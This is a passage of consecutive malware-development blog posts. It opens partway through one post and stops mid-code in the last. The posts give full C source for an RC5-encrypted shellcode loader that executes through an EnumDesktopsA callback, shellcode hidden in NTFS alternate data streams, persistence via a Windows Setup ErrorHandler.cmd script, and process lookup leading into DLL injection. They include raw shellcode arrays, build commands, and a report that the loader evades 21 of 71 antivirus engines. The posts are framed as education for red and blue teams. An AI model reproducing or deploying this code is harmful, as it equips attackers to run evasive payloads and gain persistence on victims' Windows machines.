  n &= 0x1f;
  return shift_left(v, n) | shift_right(v, 32 - n);
}

uint32_t rotate_right(uint32_t v, uint32_t n) {
  n &= 0x1f;
  return shift_right(v, n) | shift_left(v, 32 - n);
}

Finally, the full source code for encryption/decryption payload is:

/*
 * hack.c
 * RC5 implementation
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/08/13/malware-cryptography-1.html
*/
#include <stdint.h>
#include <string.h>
#include <math.h>
#include <stdio.h>
#include <windows.h>

uint32_t shift_left(uint32_t v, uint32_t n) {
  return v << n;
}

uint32_t shift_right(uint32_t v, uint32_t n) {
  return v >> n;
}

uint32_t rotate_left(uint32_t v, uint32_t n) {
  n &= 0x1f;
  return shift_left(v, n) | shift_right(v, 32 - n);
}

uint32_t rotate_right(uint32_t v, uint32_t n) {
  n &= 0x1f;
  return shift_right(v, n) | shift_left(v, 32 - n);
}

void encrypt(uint32_t S[26], uint32_t inout[4]) {
  for (uint32_t i = 0; i < 4; i += 2) {
    uint32_t A = inout[i];
    uint32_t B = inout[i+1];
    A += S[0];
    B += S[1];
    for (int j = 0; j < 12; ++j) {
      A = rotate_left((A ^ B), B) + S[2 * i];
      B = rotate_left((B ^ A), A) + S[2 * i + 1];
    }
    inout[i] = A;
    inout[i+1] = B;
  }
}

void decrypt(uint32_t S[26], uint32_t inout[4]) {
  for (uint32_t i = 0; i < 4; i += 2) {
    uint32_t A = inout[i];
    uint32_t B = inout[i+1];
    for (int j = 12; j > 0; --j) {
      B = rotate_right(B - S[2 * i + 1], A) ^ A;
      A = rotate_right(A - S[2 * i], B) ^ B;
    }
    B -= S[1];
    A -= S[0];
    inout[i] = A;
    inout[i+1] = B;
  }
}

// expand key into S array using magic numbers derived from e and phi  
void expand(uint32_t L[4], uint32_t S[26]) {
  uint32_t A = 0;
  uint32_t B = 0;
  uint32_t i = 0;
  uint32_t j = 0;
  S[0] = 0xb7e15163;
  for (i = 1; i < 26; ++i)
    S[i] = S[i - 1] + 0x9e3779b9;
  i = j = 0;
  int n = 3 * 26;
  while (n-- > 0) {
    A = S[i] = rotate_left((S[i] + A + B), 3);
    B = L[j] = rotate_left((L[j] + A + B), A + B);
    i = (i + 1) % 26;
    j = (j + 1) % 4;
  }
}

int main() {

  uint32_t key[4] = { 0x243F6A88, 0x85A308D3, 0x452821E6, 0x38D01377 };
  uint32_t box[26];
  expand(key, box);

  // meow-meow messagebox
  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };

  int data_size = sizeof(data);
  int padded_size = (data_size + 3) & ~3; // pad data to the nearest multiple of 4

  printf("original data:\n");
  for (int i = 0; i < data_size; ++i) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  unsigned char padded_data[padded_size];
  memcpy(padded_data, data, data_size);

  unsigned char encrypted[padded_size];
  unsigned char decrypted[padded_size];

  for (int i = 0; i < padded_size; i += 4) {
    uint32_t message_chunk[4];
    memcpy(message_chunk, padded_data + i, sizeof(message_chunk));

    encrypt(box, message_chunk);
    memcpy(encrypted + i, message_chunk, sizeof(message_chunk));

    decrypt(box, message_chunk);
    memcpy(decrypted + i, message_chunk, sizeof(message_chunk));
  }

  printf("padded data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", padded_data[i]);
  }
  printf("\n\n");

  printf("encrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", encrypted[i]);
  }
  printf("\n\n");

  printf("decrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", decrypted[i]);
  }
  printf("\n\n");

  // Compare decrypted data with original data
  if (memcmp(data, decrypted, data_size) == 0) {
    printf("encryption and decryption successful.\n");
  } else {
    printf("encryption and decryption failed.\n");
  }

  LPVOID mem = VirtualAlloc(NULL, data_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decrypted, data_size);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

  return 0;
}

As usually, for simplicity, used meow-meow messagebox payload:

unsigned char data[] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
  0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
  0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
  0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
  0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
  0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
  0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};

As you can see, for checking correctness, also added comparing and printing logic:

// Compare decrypted data with original data
if (memcmp(data, decrypted, data_size) == 0) {
  printf("encryption and decryption successful.\n");
} else {
  printf("encryption and decryption failed.\n");
}

demo

Let’s go to see everything in action. Compile it (in kali machine):

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

av-evasion

Then, just run it in the victim’s machine (windows 7 x64 in my case):

.\hack.exe

av-evasion

and in the another VM (windows 10 x64 v1903):

av-evasion

As you can see, everything is worked perfectly! =^..^=

Let’s go to upload this hack.exe to VirusTotal:

av-evasion

https://www.virustotal.com/gui/file/762ab138c7b4f96c20050d118de9c6ef980372d283c6af4f17311e8b70fbb7ce/detection

As you can see, only 21 of 71 AV engines detect our file as malicious

Shannon entropy:

av-evasion

This encryption implementation easily detected by comparing magic constants:

hexdump -C hack.exe | grep "63 51 e1 b7"

av-evasion

Overall, RC5 played a role in the evolution of encryption algorithms by demonstrating the importance of achieving a balance between security and efficiency. While it may not be as widely used today, its design concepts and history remain relevant in the broader context of cryptographic research and development.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

RC5
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 35: Store payload in alternate data streams. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, this post is the result of my own research on another popular malware development trick: store malicious data in alternate data streams (ADS) and how adversaries use it for persistence.

alternate data streams

Alternate Data Streams allow for multiple data β€œstreams” to be associated with a single filename, a capability that can be used to store metadata. While this feature was designed to support Macintosh Hierarchical File System (HFS) which uses resource forks to store icons and other information for a file, it can be and has been used for hiding data and malicious code.

practical example

Below is a simple example code of storing payload in ADS hack.c:

/*
hack.c
malware store data in alternate data streams
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html
*/
#include <windows.h>
#include <stdio.h>

int main() {
  // name of the file to which we'll attach the ADS
  char* filename = "C:\\temp\\meow.txt";

  // name of the ADS
  char* streamname = "hiddenstream";

  // full path including the ADS
  char fullpath[1024];
  sprintf(fullpath, "%s:%s", filename, streamname);

  // the data we're going to write to the ADS
  // meow-meow messagebox
  unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  printf("original payload: ");
  for (int i = 0; i < sizeof(my_payload); i++) {
    printf("%02x ", my_payload[i]);
  }
  printf("\n\n");

  // write data to the ADS
  HANDLE hFile = CreateFile(fullpath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" : "successfully write payload data to the ADS\n");
  DWORD bw;
  WriteFile(hFile, my_payload, sizeof(my_payload) - 1, &bw, NULL);
  CloseHandle(hFile);

  // now read the data back
  hFile = CreateFile(fullpath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" : "successfully read payload data from file\n");

  unsigned char data[sizeof(my_payload) - 1];
  DWORD br;
  ReadFile(hFile, data, sizeof(data), &br, NULL);
  CloseHandle(hFile);

  printf("read from file, payload:\n");
  for (int i = 0; i < sizeof(data); i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, data, sizeof(data));
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
  return 0;
}

The logic is pretty simple. This code writes data to an ADS and then reads it back. Then execute payload data via EnumDesktopsA.

As usually, I used meow-meow messagebox for simplicity:

unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

This code creates an ADS named hiddenstream on the specified file and writes our payload data into it. It then reads the data back and prints it for checking correctness. In a real-world scenario, the data could be a malicious executable like reverse shell or another shellcode, which would need to be extracted to a temporary location and executed separately.

demo

Let’s go to see this logic in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

hack

Then, move our test victim file meow.txt to C:\temp\:

hack

And finally run:

.\hack.exe

hack

We can check alternate data streams with command:

Get-Item -Path C:\temp\meow.txt -Stream *

hack

hack

As you can see, everything is worked as expected! =^..^=

Note that the Alternate Data Streams (ADS) feature is specific to NTFS, other file systems like FAT32, exFAT, ext4 (used by Linux), etc., do not support this feature.

This method of executing code is often used by APT29 and APT32, software like PowerDuke

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

T1564.004 - Hide Artifacts: NTFS File Attributes
APT29
APT32
malpedia: APT29
malpedia: APT32
PowerDuke
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development: persistence - part 22. Windows Setup. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the more interesting malware persistence tricks: via Windows Setup script.

setup script

C:\WINDOWS\system32\oobe\Setup.exe is an executable file on the Windows operating system. The oobe directory stands for β€œOut Of Box Experience,” which is part of the process users go through when they are setting up Windows for the first time, such as creating a user account, setting preferences, choosing default settings, etc.

pers

Turns out, if you place your payload in c:\WINDOWS\Setup\Scripts\ErrorHandler.cmd, c:\WINDOWS\system32\oobe\Setup.exe will load it whenever an error occurs.

practical example

Let’s go to look at a practical example. First of all, as usually, create β€œevil” application. For simplicity, as usually, it’s meow-meow messagebox β€œmalware” application (hack.c):

/*
hack.c
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/07/16/malware-pers-22.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

And, then just create file ErrorHandler.cmd for persistence:

@echo off
"C:\Users\user\Desktop\research\2023-07-16-malware-pers-22\hack.exe"

As you can see, the logic is pretty simple.

demo

Let’s go to see everything in action. First of all, compile our β€œmalware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

Then, move our ErrorHandler.cmd to C:\Windows\Setup\Scripts\:

pers

Ok, the next step, need to run Setup.exe with error. The simplest method is to execute Setup.exe without any arguments:

.\Setup.exe

pers

If we open Process Hacker and see properties of hack.exe:

pers

we can notice that its parent process is cmd.exe (7264),

pers

In turn, its parent is the Setup.exe (4876) process:

pers

As you can see, our persistence logic works perfectly! =^..^=

practical example 2. persistence script

For the sake of completeness of the experiment, I created a file pers.c:

/*
pers.c
windows persistence via Windows Setup
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/07/16/malware-pers-22.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  // create the directory if not exist
  if (!CreateDirectory("C:\\WINDOWS\\Setup\\Scripts", NULL)) {
    DWORD error = GetLastError();
    if (error != ERROR_ALREADY_EXISTS) {
      printf("failed to create directory. error: %lu\n", error);
      return -1;
    }
  }

  // open the file for writing
  HANDLE hFile = CreateFile("C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    printf("failed to create ErrorHandler file. error: %lu\n", GetLastError());
    return -1;
  }

  // content to write to the file
  const char* data = "@echo off\n\"C:\\Users\\user\\Desktop\\research\\2023-07-16-malware-pers-22\\hack.exe\"";

  // write the content to the file
  DWORD bytesWritten;
  if (!WriteFile(hFile, data, strlen(data), &bytesWritten, NULL)) {
    printf("failed to write to ErrorHandler file. error: %lu\n", GetLastError());
  }

  // close the file handle
  CloseHandle(hFile);
  return 0;
}

Note that, this program needs to be run with administrator rights as it’s trying to create a directory and a file under C:\WINDOWS, which requires administrative privileges.

pers

demo 2

Let’s go to see everything in action. Compile our persistence script:

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

Then, just run it with administrative privileges on the victim’s machine:

.\pers.exe

pers

In my case, before run it I deleted this folder:

pers

Run, Setup.exe again:

pers

pers

Perfect! =^..^=

conclusion

This is a common filename for an installer package. In this case, it’s part of Windows’s setup and initialization process. It’s used during the installation of the operating system, as well as when adding or modifying features and components.

As you can see, however, please note that although it is a legitimate part of the Windows operating system, malicious programs can sometimes name themselves Setup.exe to avoid detection.

There are also other files to inside the c:\WINDOWS\system32\oobe\ folder:

pers

I have not checked them.

This trick has been previously researched by hexacorn:

pers

, I just show the dirty PoC code in C: pers.c.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

Malware persistence: part 1
https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/
https://twitter.com/Hexacorn/status/1482484486994640896
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 34: Find PID via WTSEnumerateProcesses. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, I just want to focus my research on another malware development trick: enum processes and find PID via WTSEnumerateProcesses. It is a common technique that can be used by malware for AV evasion also.

WTSEnumerateProcessesA win api

The WTSEnumerateProcessesA function is a Windows API function that retrieves information about the active processes on a specified terminal server:

BOOL WTSEnumerateProcessesA(
  WTS_CURRENT_SERVER_HANDLE hServer,
  DWORD                     Reserved,
  DWORD                     Version,
  PWTS_PROCESS_INFOA        *ppProcessInfo,
  DWORD                     *pdwCount
);

WTSEnumerateProcessesA is primarily used for enumerating the processes running on a terminal server and can be useful for diagnostics and troubleshooting.

practical example

The WTS API functions are part of the wtsapi32.dll, so we need to link against that DLL. In the code snippet,

#pragma comment(lib, "wtsapi32.lib")

is used to link against the library.

Then just create function to enum processes:

int findMyProc(const char * procname) {
  int pid = 0;
  WTS_PROCESS_INFOA * pi;

  DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX
  DWORD count = 0;

  if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))
    return 0;

  for (int i = 0 ; i < count ; i++ ) {
    if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
      pid = pi[i].ProcessId;
      break;
    }
  }

  WTSFreeMemory(pi);
  return pid;
}

As you can see, the logic is pretty simple, just compare process name and get PID.

Full source code is look like this (hack.c):

/*
 * process find via WTSEnumerateProcessesA logic
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/07/07/malware-tricks-34.html
*/
#include <windows.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")

int findMyProc(const char * procname) {
  int pid = 0;
  WTS_PROCESS_INFOA * pi;

  DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX
  DWORD count = 0;

  if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))
    return 0;

  for (int i = 0 ; i < count ; i++ ) {
    if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
      pid = pi[i].ProcessId;
      break;
    }
  }

  WTSFreeMemory(pi);
  return pid;
}

int main(int argc, char* argv[]) {
  int pid = findMyProc(argv[1]);
  if (pid > 0) {
  printf("pid = %d\n", pid);
  }
  return 0;
}

Keep in mind that this function may not retrieve the process identifier for some types of processes, such as system processes or processes that are protected by certain types of security software. In addition, certain types of security software may block calls to this function entirely. The same applies if you’re running in an environment with restricted permissions.

Also, WTSEnumerateProcesses requires the SeTcbPrivilege to be enabled, but this is normally enabled for administrators, but I didn’t check it.

demo

Ok, let’s go to look this trick in action.

Compile it (hack.c):

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwtsapi32

hack

As you can see, you need to link against wtsapi32.lib when building this program. I am using a GCC-based compiler (like MinGW), so I can do this by adding -lwtsapi32 to my command.

Then, just run it at the victim’s machine (Windows 10 22H2 x64 in my case):

.\hack.exe <process>

hack

hack

hack

As you can see, it’s worked perfectly, as expected :) =^..^=

As I wrote earlier, in theory, the user must have the Query Information permission. Also, the calling process must have the SE_TCB_NAME privilege. If the calling process is running in a user session, the WTSEnumerateProcesses function only retrieves the process information for the session of the calling process.

In my opinion, if your malware or service run under the Local System you have enough permissions.

Also, maybe this trick can be used to bypass some cyber security solutions, since many systems only detect functions known to many like CreateToolhelp32Snapshot, Process32First, Process32Next. For the same reason, this can be difficult for many malware analysts.

practical example 2. find and inject

Let’s go to another example with malicious logic. Find process ID by name and inject DLL to it.

Source code is similar to my post or this one. The only difference is the logic of the findMyProc function (hack2.c):

/*
 * hack2.cpp - find process ID
 * by WTSEnumerateProcessesA and
 * DLL inject. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/07/07/malware-tricks-34.html
*/
#include <windows.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")

char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int findMyProc(const char * procname) {
  int pid = 0;
  WTS_PROCESS_INFOA * pi;

  DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX
  DWORD count = 0;

  if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))
    return 0;

  for (int i = 0 ; i < count ; i++ ) {
    if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
      pid = pi[i].ProcessId;
      break;
    }
  }

  WTSFreeMemory(pi);
  return pid;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);

  HMODULE hKernel32 = GetModuleHandle("kernel32");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

  // open process
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
  if (ph == NULL) {
    printf("OpenProcess failed! exiting...\n");
    return -2;
  }

